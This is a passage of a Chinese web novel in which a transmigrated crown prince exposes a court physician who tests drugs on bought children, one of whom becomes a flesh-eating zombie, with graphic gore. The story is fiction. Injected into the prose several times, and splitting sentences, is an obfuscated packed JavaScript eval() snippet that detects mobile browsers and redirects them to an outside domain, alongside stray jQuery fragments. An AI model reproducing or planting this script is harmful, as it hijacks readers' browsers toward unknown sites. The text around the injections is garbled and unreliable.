阿绣听罢,不再挣扎了。 阿绣是几月前被卖进太医署里做药人的。 所谓药人,就是要以身试尝医官们钻研出的新药方的人。 医官观察药人用药后的身体反应,才好继续斟酌药材搭配和用药剂量。 在医官们眼里,这些药人甚至算不上是人,只算一块实验用的活肉,会哭会叫会喊疼的活肉。 而这种极丧良心的医俗正是太医署院判张逸之一手开创的,专用以给那些罹患了当前尚无有效疗方的怪病的权贵们治病。 一开始,张逸之只是太医署里的一个八品御医,因初来乍到不懂逢迎,被上官穿了小鞋,被迫接诊了一位年逾古稀的京官老母。 这位老夫人的病症实在奇怪,医书典籍里记载寥寥,完全没有应症之方。 偏她又是受一点折腾可能就直接驾鹤西去了的年纪,张逸之实在头疼得很。 硬治,人若是出了问题,那位得势的京官不会放过自己;不治,那就得辞官,自己二十年寒窗才考进太医署,付出的那么多心血和努力都要顷刻化作泡影,他又岂能心甘? 走投无路之际,他在长安街头见到了一个病得奄奄一息的乞儿,症状竟和那位老夫人有七分相似。 那乞儿见他一副郎中打扮,拉着他的衣袖不住哀吟,求他救救自己。 张逸之拍开了乞儿脏污的手。但他觉得,这或许真的是个办法。 于是他大着胆子在这乞儿身上试验了一下自己苦思几天琢磨出的方子。 张逸之心想,成功了皆大欢喜,失败了,左右也不过是折进去个乞儿,而且是个原本就快要病死了的乞儿。 好在,他成功了。 那病好了的乞儿刚能下床,就感激地向他下跪,连连磕了好几个头。 家中老母病愈的京官更是欣喜若狂。 据说他自幼失父,是母亲一人将他拉扯大的。现在他在朝中平步青云,母亲却突然得了怪病,眼看着没几天清福可享了。他坐在母亲病榻前终日流泪,叹恨命运无常。 如今他母亲没受什么折腾就病愈了,自是万分欣喜,赞叹张逸之医术如神。 这京官此前四处为母寻医问药,母亲这病症奇怪不说,老人家年纪又大了,这病有多难治,他心里是有数的。 乞儿后来在长安四处奔走,传张逸之“医者仁心”;而那位京官不仅给他封来厚重的谢礼和一幅“妙手回春”的题字,还向太医署院使大力保荐他。 他这个寒士出身、地位微贱的八品太医,直接被破格提拔了两级。 原本只是不抱希望的破罐破摔,让自己的仕途起死回生不说,还名利兼收了。 张逸之尝到了甜头,也从中获得了灵感。 后来他每次接诊到无法推拒的怪症病人,就去集聚了许多贫民的坊巷贴出告示,寻找有相似症状的贫民“义诊”,分文不取。 大多数怪症都被他成功治好了,虽有少数几例出了差错,但不过是几个主动来求他“施舍恩德”的贫民,治死了,悄悄往乱葬岗一埋,对他的名声根本毫无影响。 百姓们皆赞叹这位张太医不但医术高超还有一颗仁心,他在坊间的美誉甚至传到了圣人耳中,圣人钦点他去为贤妃娘娘接生。 玉奴公主顺利出生后,他直接被任命为太医署的院判,一时风头无两。 只是,有些怪症,在那些贫民中是根本找不出类似的人的。 为了保住自己长久的风光和富贵,张逸之生出了一个丧心病狂的念头——暗中募集乞儿、贫苦人家的孩童来做专门的药人。 他视这些药人的性命如草芥,用他们来试验出治疗那些王公贵族的怪症的最有效的药方。 在他们身上,张逸之可以毫无顾忌地试验各种凶险的偏法,可以不关心药材是否具有毒性、这药性的强与弱。 这法子既不损害贵人玉体,那些被自己治好的达官贵人们还皆对他“妙手到,万病除”的医术称奇道绝,名利双收就如探囊取物一般轻易。 他所得到的每一份治疗怪症的良方,都是以药人们的尸体与血泪写成的,自然能百试百灵、药到病除了。 “啧,都过成这般模样了,对自己这条贱命还挺爱惜呢。” 吏目见阿绣不再挣扎,嗤笑了一声,像扛起小豕一样将她扛在肩上,趁着夜色将她秘密地送到了宁国侯府的偏门。 前来接应的张逸之立马扛过阿绣,将她藏在自己居住的院落中的一间柴房里。 听见门的落锁声后,阿绣背倚着柴草,竟松了一口气,那些言语上的侮辱早就不能在她心中搅起一丝波澜,今天没挨打,没挨打就是福气。 她紧紧地阖着眼,不知过了多久,药效上来了。 “今天的药,好像更烈了啊……” 她苦笑一声,觉得自己喝下的不是药,而是一丛龇着毒牙的蛇,破开肠腹,凶狠地啃咬着她的脏器,疼得她直打滚。 她再也捱不住,呜呜啊啊地落下泪来:“我好疼……爹……为什么要卖阿绣来这儿受苦啊……” 阿绣不知道,只因贵人们身体娇贵,经不起折腾,就有尸体能堆满几十只大缸的药人们要替他们受苦。 和那些钟鸣鼎食、身娇肉贵的官吏王侯不同,他们便宜,死了也不麻烦。 这些药人大都家中贫贱,一出生就尝尽了朝齑暮盐的饥寒滋味,还没长几岁就被父母卖给人伢子换银钱了,阿绣亦是其中之一。 那天,爹夺了她手里的草蛐蛐,拭净了她颊上的污泥,特地给她换了一身齐整干净的行头,还买了从前她眼睛都馋得发直了爹也不舍得掏荷包的糖人。 住村东头的阿婶来家里了,她把一枚银锭放在桌上。 阿婶拍着胸脯向他爹承诺:“孩子叫我领去,你放心,保管给她谋个好去路,你也好腾出手来养你那对小幺儿。” 阿婶皱巴巴的脸笑得像朵花。 爹红着眼圈并不言语,只轻轻点头。 阿绣咬着糖人,声音含糊:“爹,你要婶子带我上哪玩去?” 爹沉默地摸了一下她的头,转过身去。 阿婶一把拽过她的手腕:“嗨哟,就跟我走吧阿绣,去吃香喝辣,过好日子,见大世面!” “好!”阿绣欢呼起来。 也许是太雀跃,阿绣看不见爹在身后红着眼叹息,摸着那副停在屋中央的全是缝子的薄板棺材——娘刚生产完就躺进了里面;看不见家中已无斗米可下锅,可爹怀里还抱着一双哭着要奶吃的弟弟。 她只能看见,把她领去的阿婶笑着点数自吏目手中接过的份量比那枚银锭更重的钱袋,嘴都合不拢了。 然后阿绣就被她推进了太医署那扇好气派的门,被高高的门槛绊了个跟头。 好像是那门张开嘴,迫不及待地把她吃了进去。 从那一刻开始,阿绣的人生没有爹娘,没有自由,甚至没有光线。 只有一碗又一碗,烫麻了舌苔也永远也喝不尽的药汁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿绣凄然地牵动唇角,僵白的手臂缓缓垂下…… * “你是说,你有法子治好我母亲的病?” 宁国侯世子贺萦怀抱臂倚着门框,打量着面前这个头戴白色幕篱的青年。 “是的,世子殿下。”青年不卑不亢地回道。 “呵……小江湖郎中,你可知,圣上已派了誉满长安的张逸之太医住我宁国侯府中,为我母亲诊治?” 贺萦怀见他一幅信誓旦旦的模样,饶有兴致地朝他走近了几步。 “知道,”青年丝毫没有畏怯之色,依然如一棵秀气的雪松般,站得挺拔,“他治不好。” “那么,既然是连御医都治不好的怪病,你又是哪里来的自信?”贺萦怀在青年身前停步,眯起眼,似笑非笑地观察着这青年。 “回世子殿下,小人的母亲也……”青年话未讲完,眼前寒光一闪——贺萦怀迅捷地拔剑出鞘,挑开了他的幕篱。 幕篱下是一张清秀白皙的面庞,睫长唇红,脸廓被日光晕染得无比柔和,贺萦怀怔了怔。 “小人的母亲也曾患过类似的怪病,已被小人治好。”青年没有半分闪躲,静静地看着贺萦怀的眼睛,把话讲完了。 “哦,那青天白日的,你一个男子为何要戴幕篱出行?” 真没礼貌。当然是因为这张刚画好的皮接触到阳光就会过敏,很痒很痛的啊。 杨惜故作慌乱地捂着脸,低下头捡起被挑落在地的幕篱,像被戳中了伤心事一般,声音细弱。 “回殿下,因为小人长得见不得人,小人自卑啊!” “小人相貌丑陋无盐,不仅遭未婚妻退婚,连想考科举进仕也被上官挑拣嫌弃,年年落选。” “世子天人之姿,气宇轩昂,自然不知道我们这种人的苦楚啊……” 杨惜一番话讲得情真意切,有板有眼的,还不忘拍一下马屁。 贺萦怀挑了挑长眉,侧身让他进府。 “……行了,进来吧。若本世子发现你是来招摇撞骗的,落地的就不只是你的幕篱了。” * 不知是多久以后,蜷缩在一堆湿腐稻草上的、被飞蝇环绕着的“阿绣”突然又张开了眼睛。 那是一双被大片的青翳覆盖了瞳孔的,结满了如蛛网般细密的线纹的眼睛。 “阿绣”七窍流血,整张脸都长出了密密麻麻的粉色脓疱,没有一处完好的肤皮,极为狰狞恐怖。 她呜呜地张着嘴,露出鲨齿般尖长锋利的两排牙,喉咙中一卡一卡的,发出野兽般的闷沉嘶吼。 用那碧色的、朝外溢着血的眼睛环顾了周围后,“阿绣”突然速度极快地冲到面前那道门前,用头朝门一下又一下地大力撞去。 即使整张脸都已撞得血肉模糊,掉下几块粘着血丝与细蛆的皮肉,她仍丝毫不觉得疼痛似的,机械重复着这个动作。 门外的铁锁随着她的动作一下一下地抖颤着…… 4. 因果 “侯爷,卑职是圣上钦点来为夫人诊疗的……可您这又是什么意思啊?” 张逸之刚挎着药箱走进宁国侯夫人院中,就看见一个头戴幕篱的青年正淡定自若地指挥着府内的侍女和仆役处理药材、熬煮汤药。 反应过来自己被越俎代庖后,张逸之的脸色当场就垮下来了,他很是愠怒,转身质问身侧的宁国侯贺钦。 贺钦也不恼,笑着捋了捋胡须,解释道:“未提前知会张先生是本侯的不是,先生勿怪。” “这位杨小友昨日登门,说是来给内子进献药方的,本侯一开始也不相信,毕竟连您这样的圣手都说内子的病症实在奇怪,要正式诊断和施方疗愈都还须花上一阵子。” “但杨小友信誓旦旦地保证,他母亲和内子曾患过相似的病症,只要让他给内子搭个脉确认一下,他立马就能将药方献上。如有半句戏言,他愿将人头留在宁国侯府。” “本侯见他如此笃定,就将信将疑地让他隔着屏风给内子丝诊了一番。谁知他此前分明从未见过内子,除了说准她舌苦咳血外,竟然还说准了她夜间总是发低热,凌晨时又褪去。” “这可是只有贴身守夜伺候内子的侍女才知晓的内情啊!” “想来这位小友所言非虚,他手上真的有能将内子医好的药方。于是本侯就派府里的丫头和杂役随他去取药煎药,先给内子试用了一副。谁知当晚内子就难得地一夜安枕,不见咳血了……” “这位小友虽看着其貌不扬了些,但是是有些真本事的。” 张逸之看着满面笑意的贺钦和一旁谈笑忙碌的众人,想到自己接下圣旨后为这宁国侯夫人的怪症遍翻医书、焦头烂额的数个日夜。 他甚至连自己悄悄豢养在太医署地下的药人都运来了,居然就这么轻易地被一个不知从哪里冒出来的毛头小子给截了功? 张逸之听着一旁的欢声笑语,只觉无比刺耳,心中窜起了火气。 他咳嗽一声,阴阳怪气地挖苦道:“侯爷,卑职看您也真是病急啊……乱投医了。” “不过是一个不知道从哪来的乡里别野郎中,耍弄小伎俩,进献了一些只治标不治本的土偏方,您居然还真的将他奉为座上宾?” 贺钦闻言蹙起了眉头。 自己到底是一方公侯,张逸之这话讲得过于尖酸刻薄了,不仅讽刺了杨小友,还有挖苦自己没有眼力,轻易就受人蒙骗的意味,丝毫不留情面。 但他心想这张逸之毕竟是圣上钦派的,傲气些也正常,且自己此举确实是有些拂了人太医的面子……贺钦只得朝张逸之歉意地笑了笑。 “张先生提醒的是,此举确实欠妥,但本侯这也是没办法了。内子白日咳血,晚间又时时发低热,已经数日难寐,形容枯槁。” “她时常抓着本侯的手喊疼,身为人夫,本侯实在不忍见她受病痛折磨啊……” “所以就连等卑职研究解方的一段时日都等不得了,有什么狗皮膏药凑上来就先胡乱贴上再说?” 张逸之咄咄逼人地打断了贺钦的话,眯起眼看向那头戴幕篱的青年,故意提高音量喊道: “侯爷,卑职的医术到底够不够火候,想来也无须赘言了,京中多少达官贵人的疑难杂症都是卑职一手治好的。” “您可以不信任卑职,但想必您此前也带夫人看访过江南有名的医家,他们也皆对夫人的病症束手无策吧?” “可这位小友竟只给夫人丝诊了一回就能开出对症之方……若民间真有身怀这等卓绝医术之人,那卑职这二十年寒窗苦读的上千卷医书都俱是烂竹臭简,该付之一炬了!” “还有这卑职头上这顶太医署院判的乌纱,也一并交由这位杨小友取了去吧!” “只是不知,他是不是真的当得起啊?小心把神医的高帽戴上,被沉劈了脖子!” 幕篱下的杨惜正低头认真地筛滤着药渣,乍然被张逸之给吼了这么一嗓子,吓得手抖了抖,药汁自罐中溅出。 他掏出一块丝绢擦了擦溅到指隙中的药渍,转头望向张逸之。 哇——好犀利、好尖锐的人身攻击,这位想必就是长安尸疫的始作俑者,绝命毒师张逸之吧! 真是,这张逸之突然这么大声干什么,吓死人了。 杨惜扶了扶幕篱,仔细琢磨了一下刚才听见的话,很快就反应过来了。 哦,我知道了,想必是我比他这位正牌太医还先拿出治疗宁国侯夫人的药方,他这是觉得不但被抢了功,还被衬得很无能,所以破防了啊。 杨惜挑了挑眉,慢悠悠地向张逸之和贺钦踱了过去。 “见过侯爷,和……这位太医大人。”杨惜客客气气地拱手作礼。 张逸之抱臂冷笑了一声,从头至脚将他打量了一遍:“呵……青天白日还头戴幕篱,这副躲躲藏藏的做派,一看就是个形容猥琐的市井细民,毫无大家风范。” 杨惜愣了愣,转过头,不可置信地看向张逸之。 他刚说我什么?猥……什么,猥琐? 开玩笑,杨惜现在这张脸皮好歹是照着他在现世的模样画的,不说帅得天怒人怨,至少也还有点小帅吧?他上学时还收到过隔壁班班花的表白信呢。 宫里看守很严,而且上下多少双眼盯着东宫,为了维持萧成亭这草包太子的人设不引人怀疑,杨惜费了一番功夫易容,还换上太监的衣冠才混出宫。 他想着反正也没人认识他,索性直接用自己在现世的真脸和真名来行走江湖了。 谁知他初次以真容示人,这杀千刀的张逸之,居然说他的脸长得很猥琐? 谁问你了? 他说自己长得不好看那叫自谦,张逸之这中登说他长得不好看那叫技不如人气急败坏! 呵呵,罢了,本宫有气量,不与你一般见识。 杨惜在心中冷笑,面上却没什么表情,不卑不亢地答道。 “先生误会了,小人不通医术。只是偶然与侯府的守卫大哥闲聊时,发现夫人之疾和当年家母的病症极为相似,想着来进献药方换点赏钱罢了。” 顺便来看看你到底把毒尸的母体藏到哪里去了。 杨惜的眼神暗了暗。 那日接风宴后,杨惜躺在榻上翻来覆去地想了一整晚,方才依稀想起书里那场尸疫是以宁国侯府为发源地的。 宁国侯才回京三日,府上就爆发了一场来势汹汹的尸疫,可这传染性极强的疫病并不曾在扬州出现。 仔细想来,唯一的关节点就是他老爹派到宁国侯府上的那位圣手张逸之了。 他就派贴身伺候自己的那个小黄门称心去跟踪了一下这张逸之。 称心回报说听见这张逸之和太医署的一名吏目交谈,言语间提及了“药人”、“试药”一类的字眼。 结合对剧情的记忆,杨惜略微思索了一下,就知道个中玄机了。 这张逸之常年拿活人试药,之前从没翻过车,他这次受命为宁国侯夫人看诊,眼见病症奇怪,应是想故技重施,用药人为宁国侯夫人试出药方。 谁知善恶因果,终有报应。 张逸之带去宁国侯府的那个药人,大概是因为长年累月服用各类药石,体内药性积累,死后竟变异成了不知疼痛、见人就咬的毒尸! 而且这场尸疫的传播速度极快,活人一旦被毒尸咬伤或挠伤,也会丧失神识,变成和毒尸一样的行尸走肉。 其实杨惜生性散漫淡漠,没有很重的责任意识,更没有那种以拯救苍生为己任的伟大信念,是那种“天塌下来当被子盖”的性格,但是…… “本宫见不得无辜的人受苦!” 被张逸之当作药人豢养的那个孩子何其无辜,毒尸闯入院内时因腿脚不便而被身边的侍女仆役狠心抛下、让毒尸生生咬断了喉咙的宁国侯夫人何其无辜,长安城百坊千宅的百姓又何其无辜! 这贪图名利、丧心病狂的张逸之一人造的孽,凭什么要牵连旁人和他一齐尝受恶果?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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睿宗在事后对宁国侯一家多加抚恤,虽然张逸之这件事实属无妄之灾,但确实是伤了忠臣的心。君臣之间虽然不至于生出很大的嫌隙,但到底也有了些隔阂。 且不说见不得无辜的人受苦,杨惜对宁国侯父子的印象也还挺好,心想反正救下宁国侯夫人不过举手之劳,干脆就与人家结个善缘,若日后准备跑路还多个落脚处。 而杨惜之所以有能够治好宁国侯夫人的自信,是因为他爷爷是个从医五六十年的老中医。 他虽然没有直接继承他爷爷的衣钵,而是学了历史这个天坑专业,但他小时候整天跟在爷爷身后爷爷长爷爷短的,耳濡目染了不少,对医书上记载的一些病症和对症之方都还有些了解。 很多在现代医疗水平下毫不起眼的小病在古代都是奇症、怪症,甚至不治的绝症呢。不试试,怎么知道他能不能治? 所以杨惜易容后就来敲了宁国侯府的大门,随口编了个听上去比较可信,但其实有点冒犯萧成亭的生母王淑妃的理由混了进来。 他想一边医治宁国侯夫人,一边着手寻找那个药人,看看还来不来得及解救他,阻止尸疫发生。 在给宁国侯夫人丝诊切过脉后,杨惜松了口气。 果然如他猜测的那样,是肺结核。虽然棘手了些,但是能治。不过,在燕国这些医士眼中,大概就是不治的绝症了。 保险起见,他还和府中的老医官商讨了一下,终于拍案定下了宁国侯夫人的药方。 谁知这边正如火如荼地忙活着呢,那张逸之就张牙舞爪地冲上来狂吠了。 听了杨惜那诚恳的解释后,张逸之居然更来劲了,他一下又一下戳着杨惜的胸膛,咄咄逼人地质问: “不通医术,呵……夫人的病症,连我都要慎之又慎地斟酌。你一个不通医术的门外汉,竟然胆大包天地施诊开药,若夫人有个什么三长两短,你这条贱命能担待得起么?” 站得太近,杨惜差点被他的津唾溅到,他嫌弃地后退了两步,想着是可忍孰不可忍了,开喷吧! 他正待开口时,一道冷肃清越的声线突然响起,打破了剑拔弩张的局面。 “何人在我母亲院中这般吵嚷?” 贺萦怀提着几袋药材走了进来,将药材递给一旁的侍女后,抱着剑站在两人中间,冷冷地发问。 5. 毒尸 “世子殿下。”杨惜向贺萦怀微微颔首。 “没什么,只是这位张先生因自己技不如人恼羞成怒,讽刺小人贱命一条,不配医治宁国侯夫人而已。” 杨惜轻轻眨了眨眼,语气温和平淡,可所说的内容却是极其大胆犀利,气死人不偿命的。 虽然他说的也是事实,但这张逸之毕竟是圣上钦派来宁国侯府的五品院判,饶是贺钦和贺萦怀,听了杨惜这番措辞毫不客气的话也不免诧异,纷纷向他侧目。 杨惜从容不迫地抱着臂,一副“贱命一条就是干”的从容模样。 而张逸之听了杨惜这话,被气得发懵,脸色青一阵白一阵的,半晌后,自颤抖的嘴唇中怒不可遏地迸出一个字,“你!” 岂有此理,简直是岂有此理! 想他张逸之在这太医署行医十余年,从未有谁和他说话如此不客气,就连去给宫里的贵人主子看诊,人家都还得派宫娥太监好声好气地迎送。 可这人又是个什么东西,敢这样和他讲话? 张逸之看着面前那个出言不逊还漫不经心地笑着的人,右掌高高扬了起来—— “哎呀张先生,您这是做什么,不会是想打小人吧?使不得,使不得啊!” 杨惜故作惊叹,然后轻而易举地攥住了张逸之的手腕,暗中加重了力道,面上却笑意不减。 “唉,都说了小人是个市井草莽,贱命一条,和您这种养尊处优的高官显宦不同,有的是力气和手段。” “可能是小人说话比较直,戳到您的痛处了,您可千万别和小人一般见识啊。” “你——给本官放开!” 张逸之吃痛,怒呵一声。 杨惜松了手,弯起那双漂亮的桃花眼,看张逸之揉着发红的手腕。 杨惜笑得轻佻,语调懒散地开口: “小人不知道什么出身贵贱、配与不配。小人只知道夫人用了小人的方子后,身体已见起色。” “而您甚至连夫人所患病症都诊断不出,无能至此,竟还倚仗自己的身份和资历对小人百般挖苦、打压。” “可是说到底,小人只是家中恰好有张良方,想着揣来侯府讨点赏钱好娶媳妇儿,到底是哪里碍着大人您了?” “哦,我知道了,您这是想害我老杨家断子绝孙!都说医者仁心,我看不然,张逸之,你好歹毒的居心啊!” “你……你……本官无能?本官要害你这什么狗屁杨氏绝后?” 张逸之简直气得发疯,也不顾什么仪态了,当场上去揪住杨惜的衣领。 “你又算是个什么东西,焉敢对本官如此粗蛮无礼!本官今日就要好好教教你怎么尊敬上官。” 杨惜看着眼前人癫狂的神态,被掐得有点喘不上气,也不挣扎,转头看向贺萦怀。 “咳咳……世子殿下你看他!” “小人不过说了几句不太中听的实话,他就要当着您和侯爷的面行凶打死小人了,小人只是个手无缚鸡之力的文弱书生啊!” “……小人的命好苦哇,还没娶回美妻还没给八十岁的老母生个肥肥胖胖的大孙就要喋血于此了。” 贺萦怀:…… 杨惜越演越起劲,视死如归地闭上眼,声音凄凉悲壮: “既然世子殿下不管,行,那你就打死我吧,十八年后,我杨惜又是一条好男儿!” “够了。” 贺萦怀伸出剑柄,将张逸之攥着杨惜衣领的手拨开。 杨惜极有眼力见地立马挪到贺萦怀身后站着,面上哪里还有一点柔弱之态。 “世子殿下,你也要回护这无礼竖子吗?”张逸之恼怒地看向贺萦怀。 “本世子只是不愿见有人在我母亲院中吵嚷斗殴,扰了她病中清净,并没有偏帮谁的意思。” 贺萦怀的声音中听不出任何情绪。 “好……好得很!” “看来卑职这个‘无能庸医’是没有给宁国侯夫人看诊的福分了,卑职这就去回了圣上。但愿侯爷和世子请来的这位满口赏钱的‘高明’真能把夫人治好。” 张逸之怒剜了杨惜一眼,然后冷哼一声,拂袖而走。 一旁的贺钦无奈地看着贺萦怀和杨惜,摇了摇头,连忙跟上去赔罪。 他儿子贺萦怀年纪不大,性情冷直,可他在官场摸爬滚打了几十年,是知道轻重的。 张逸之再怎么样那也是圣上钦派到他宁国侯府的人,若是就这样挎着医箱回了太医署,传到圣上耳中,圣上若问罪起来他要如何回答呢? 说陛下您派来的太医医术太平庸了,还不如臣在坊间随便寻的一个江湖郎中呢哈哈? 谁知这张逸之也是铁了心的要走,贺钦劝了快几百步也没给人家劝住,跟在贺钦身后的几个丫鬟仆从也一路小跑,几人一直跟到了安排给张逸之居住的院落。 *** 几人走远后,贺萦怀将剑佩回腰间,淡淡地扫了一眼身旁的杨惜。 杨惜没有看他,只是淡定从容地捡起方才搁在一旁的药罐,继续指派身边的侍女仆从筛药煎药。 一撮药末自杨惜指尖洒落的电光石火间,他突然一拍脑袋,惊呼一声。 糟了,都怪那张逸之讲话实在气人,他光顾着和张逸之对喷了,差点忘记还有正事没做呢——那个不知被藏在何处的药人! 他自昨日黄昏入府到现在一直都被钉在宁国侯夫人院中,看诊、和府中的老医官一起磋商药方、挑药、煎药连轴转。 他想着先给久病的夫人治病要紧,反正张逸之也刚入府不久,那药人毒发照说没这么快,所以他想等这边安定下来之后立马去张逸之所住的院落转转。 谁知张逸之今天来闹了这么一出。 如果他铁了心要走的话,一定会带走那个药人,因为谁不清楚那个药人什么时候毒发,张逸之若真的就这么带着他出了宁国侯府,就像绑着颗定时炸弹上街闲晃一样,后果简直不堪设想。 杨惜立马放下药罐,向院门急匆匆地走去。 经过贺萦怀的时候,贺萦怀伸手攥住了他的手腕,疑惑地发问:“去哪?” 杨惜怕如实相告会引他生疑,毕竟现在连张逸之自己都不知道自己带来的那药人会变成毒尸,略微思索后,他答道:“哄人。” “哄人?” 贺萦怀静静地望着杨惜,这个距离,可以清晰地闻到杨惜身上那股淡淡的药草香。 “哄张逸之。”杨惜面不红心不跳地回答。 “虽然他也不是什么好东西,但小人说的话确实有点过分,让他当众下不来台了。” “小人倒是贱命一条无所谓,但他好歹也是太医署院判,还是奉旨来的,小人怕给侯爷和世子添麻烦,还是去哄他几句意思意思吧。” 贺萦怀没忍住轻笑了一声,“你当他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824232|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩吗?” 杨惜急着脱身,已读乱回道:“世子殿下有所不知,其实每一个凶恶刻薄的丑男人心底都住着一个柔软的小男孩,只要愿意哄,一定能哄好的。” “小人这就去把张先生哄回来!” 杨惜轻轻拨开贺萦怀的手,加快脚步向张逸之居住的院落走去。 贺萦怀眯起眼,若有所思地看着杨惜离去的背影。一晌后,他借着轻功跃上墙头,悄悄跟在杨惜的身后。 *** 这里一定是人间地狱…… 杨惜赶到张逸之所住的院落门口后,气喘吁吁地扶着门框往里一看,霎时间,他整个脑海一片空白,只剩下这一个想法。 一个身着粗布蓝衣、浑身俱是斑斑血迹的半大姑娘站在院落中央,嘴里嘎吱嘎吱地嚼着一截断手。 杨惜觉得自己一辈子都忘不掉那张脸了。 那是一张视觉上比他以往看过的任何限制级恐怖血腥片都来得更为冲击的脸。 没有五官,或者说她的五官被那大片密集得令人生理不适的脓疱给完全覆盖了。 大片粉红色的肌肉直接裸露在外,飘飘摇摇地粘在她的颧骨和颔骨上。她绿色的牙床向外凸出,锋利尖长的、野兽一般的牙齿间掖满了猩红的血丝和碎肉。 此刻,她弯曲着黑色的长指甲将那只断手箍在掌心,微微低着头,嘴中发出清脆的、令人毛骨悚然的撕咬和咀嚼声。 那两颗碧色的混浊眼球出奇的鼓胀,仿佛随时会从眼眶脱落。 杨惜注意到她的手臂上全是用药后遗留的血疤和毒疮,没有一块完好的皮肤。 这一定就是那个被张逸之终年折磨的药人。 来晚了……她已经毒发了! 她周围横陈着五具男男女女的尸体,看衣饰都是在宁国侯府中伺候的侍女和仆役。 明明俱被咬破了喉咙,但这些尸体的四肢竟突然诡异地痉挛、蠕动起来,似乎马上就要从地上爬起。 院落中的门扇、廊柱、植被、假石山水等各处都被喷溅上了大块形状各异的血迹,连成一片触目惊心的血色的汪洋,杨惜乍看之下只觉得头晕目眩。 他晕血。 但是现在不能晕,不能倒,杨惜,要是在这里倒下了一切都完了! 杨惜的唇色非常苍白,双肩颤抖,额头已经渗出了细汗。 他手指紧紧地嵌在门框的镂格里以稳住身形,尝试着平复呼吸。 这时,跌坐在距离那个毒尸不远处的石地上的张逸之突然连滚带爬地站了起来,一边朝杨惜这个方向疯跑,一边面目扭曲地大喊道:“救命……救命!” “以前那么多……从来没有……这到底是个什么东西!” 张逸之见杨惜站在院门口不动,挡着自己逃生的路了,直接猛地抓起杨惜的胳膊,向旁边搡了他一把,然后头也不回地向外面跑去。 张逸之用的力度很大,杨惜感觉自己的臂膊被他的指甲给抓得生疼,皮都应该被刮穿了。 但他来不及观察伤势,因为那个身着白碎花蓝衣的药人毒尸已经将那截断手啃食干净了,她抬起头,定定地看着杨缙。 她嘴中发出了一声山猫似的尖细的叫声,又很像婴儿的啼哭,听得杨惜毛骨悚然。 就在杨惜终于恢复了些力气,准备拔腿跑开的时候,那个蓝衣毒尸以一种恐怖的速度飞快地朝他扑了过来! 6. 自伤 这毒尸的动作极其迅猛,用那双生着极长极尖利的黑指甲的手直冲杨惜面门抓来。 杨惜抽出随身携带的一柄短匕吃力地格挡了几下,好几次险些被她挠咬到。 那毒尸朝杨惜张着血盆大口,嘴中发出婴啼般尖细惊悚的嘶叫声,两排锋利尖长如鲨齿的牙间还残留着骨渣与肉屑,遮住她半张脸的乱蓬蓬的长发上挂着几条粘稠恶心的血涎。 杨惜和这毒尸已近在咫尺,透过她脸上那片密密麻麻的粉色脓疱的缝隙,杨惜看见她那两颗碧色的眼球中似乎有许多细小的蛆虫正在蠕动着。 “呕……” 感觉以后要对所有丧尸片ptsd了。 杨惜简直头皮发麻,胃里也一阵翻江倒海,但他强忍着这股强烈的恶心反胃感,竭力举着短匕格挡这个力气大得惊人的毒尸。 渐渐的,他有些体力不支了。 杨惜此时无比后悔自己放着一国太子不好好当,非要热血上头来宁国侯府凑这个热闹。 来了也就算了,偏偏还因为害怕惹得有心人起疑,以及对自己的能力过分自信之故,连个随从也没带。 其实杨惜原本计划的是先费一日功夫将宁国侯夫人的病情稳住,今夜就去秘密查探张逸之的院落,找寻那个药人的藏身之处。 找到后,只要在侯府众人面前揭发张逸之将药人带入府中,就可将药人解救或者提前处理了,阻止尸疫的发生。 杨惜虽记不清药人毒发的具体时日,但记忆中,那药人毒发没有这么快才是……张逸之不是才刚入府一天么,原书中应该是他入府一段时间之后,快临近除夕的时候才发作的啊。 书里写这场尸疫让长安的许多百姓在最喜庆的除夕夜家破人亡,春联与挽幛齐挂,一时间整个长安城大红大白、大喜大悲交映,杨惜印象很深刻,所以如此笃定。 这难道是他魂穿了萧成亭之后,对这个世界引发的蝴蝶效应? 没想到只是这一个小小的时间偏差,他就快要把自己的小命给活活玩没了。 咣当—— 杨惜一个恍神间,短匕被这毒尸打落在地,他的身体也瞬间失去平衡,直直向下倒去。 杨惜还来不及站起,那毒尸就已经整个趴在他身上。 一股浓郁的尸体腐烂的腥酸臭气扑面而来,熏得杨惜差点直接晕过去。 就在那毒尸快要咬上杨惜脖颈的千钧一发之际,一柄通体莹白如霜雪的长剑直直插入了她的喉咙。 贺萦怀将剑使力一掼,将她悬空钉在了墙壁上。 “……还不起来?” 贺萦怀蹙起长眉,轻轻喘息着,手腕有些发抖。 “世……世子殿下。张逸之跑了,小人没……没看见侯爷,可能也已经脱险了。” 杨惜惊魂未定,坐在地上大口大口地喘着气。 他一边擦着额头的冷汗,一边向贺萦怀解释道:“这个本是张逸之悄悄带进侯府为夫人试药的药人,常年被他喂食各种药石,死后变异成了无知无觉、逢人便咬的毒尸。” “被毒尸抓伤或咬伤的人也会被感染成这个模样,方才院中还有五具府上侍女和仆役的尸体,看样子也很快就要尸变了,此地不能久留。” “什么?” 贺萦怀一时难以反应过来,但他看见在自己剑下疯动挣扎的那具面目极其狰狞可怖的毒尸,咬了咬牙,将剑拔出。 那毒尸没了束缚,眼看又要冲过来了,贺萦怀一把抓住杨惜的右肩,将他揽带在怀中,用轻功带着杨惜跃上墙头。 虽然不知道这位世子殿下为什么会跟上来,但是他从毒尸口中救我小命的样子实在是太靠谱太帅了! 杨惜像只树懒一样非常自然地搂上了贺萦怀精瘦的腰身,还合紧了两臂,以此让自己靠得更稳些。 贺萦怀:…… 贺萦怀:“放手。” 杨惜:“哦。” 杨惜笑眯眯地收回了手臂,“抱歉,世子殿下实在是太让人安心了,不自觉就……” 杨惜话还没说完,脸色陡然一变。 